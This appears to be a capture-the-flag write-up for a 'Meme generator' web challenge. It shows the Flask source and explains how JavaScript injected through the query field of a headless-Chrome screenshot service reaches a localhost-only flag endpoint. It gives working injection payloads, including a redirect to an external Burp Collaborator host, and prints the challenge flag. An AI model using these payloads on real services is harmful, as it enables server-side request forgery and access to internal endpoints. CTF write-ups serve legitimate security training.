Meme generator

The solution is unintended.

Difficulty

Medium

Points

250

Description

Creating memes manually can sometimes become repetitive and boring, so I made this app to make your life easier. Although there's just one template available yet, it is fully customizable! You can do absolutely anything with it, even getting flags! (That's what a friend of mine said, not that I understand what a flag is)

Quick Analysis

View the application source code via /source endpoint

import utils
from flask import Flask, render_template, request
import os
import html

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/generate", methods = ["POST"])
def generate():
    search_engine = request.form.get("search_engine")
    query = request.form.get("query")
    if not (search_engine and query):
        return "", 400
    utils.take_screenshot(search_engine, query)
    utils.make_meme()
    return "", 200

@app.route("/source")
def source():
    with open(__file__, "r") as f:
        return f"<pre><code>{html.escape(f.read())}</code></pre>", 200

@app.route("/flag")
def flag():
    # TODO: Fix typo
    if request.remote_addr == "127.0.0.1" and request.url.startswith("http://l0calhost"):
        return os.getenv("FLAG"), 200
    return "Nice try", 200

app.run("0.0.0.0", 8080)

The home page endpoint /

  • the index function renders index.html

  • The home page index.html asks for a search_engine input and a query input to generate a meme.

The generator endpoint /api/generate

  • The search_engine parameter and the query parameter must be defined.

  • The search_engine value and the query value passed to the take_screenshot function.

  • The make_meme function is called after taking the screenshot.

The flag endpoint /flag

The flag can be obtained only if

  • The address of the client sending the request is 127.0.0.1.

  • The URL scheme must start with http://l0calhost.

  • The todo comment # TODO: Fix typo is about request.url.startswith("http://l0calhost").

Note: The application is running on port 8080

Generate a meme via the home page

Analyzing the query input

  • Choose google as a value for the search engine.

  • Enter diefunction as a value for the query. The application returns an image containing the google search page with diefunction as a keyword for the search.

Execute javascript code on the client's browser

  • Choose google as a value for the search engine.

  • Enter ~!@#$%^&*()-_=+[]{]\|;:'",.<>/? separately as a value for the query. I noticed that if the query value contains " the generator returns an empty page in the image.

Proof of concept

I assumed the challenge uses a browser driver to take a screenshot, and the injection code should be Javascript.

  • Choose google as a value for the search engine.

  • Enter "+String.fromCharCode(65);escape=" javascript code as a value for the query. The meme generator returns the google search page with A character as a keyword for the search meaning the browser executed the Javascript code.

The client browser

  • Choose google as a value for the search engine.

  • Enter ";top.location="http://<burpcollaborator> Javascript code as a value for the query. From the Burpsuite collaborator output, the User-Agent appears to be Headless Chrome.

Exploitation

  • Since the browser is chrome, the translation of *.localhost is always translated to 127.0.0.1, without /etc/host or DNS workarounds. [1]

  • Choose google as a value for the search engine.

  • Enter ";top.location="http://l0calhost.localhost Javascript code as a value for the query.

The flag

After generating a meme with the crafted javascript payload in the exploitation section, the make_meme function returns an image with the challenge flag.

BlackHatMEA{551:15:aa0910737fd02a9445d1f0250d03dd3b8c9e27b8}

References

  • https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06

  • https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/

  • https://webmasters.stackexchange.com/questions/88636/why-does-chrome-resolve-websitename-localhost-as-localhost

Last updated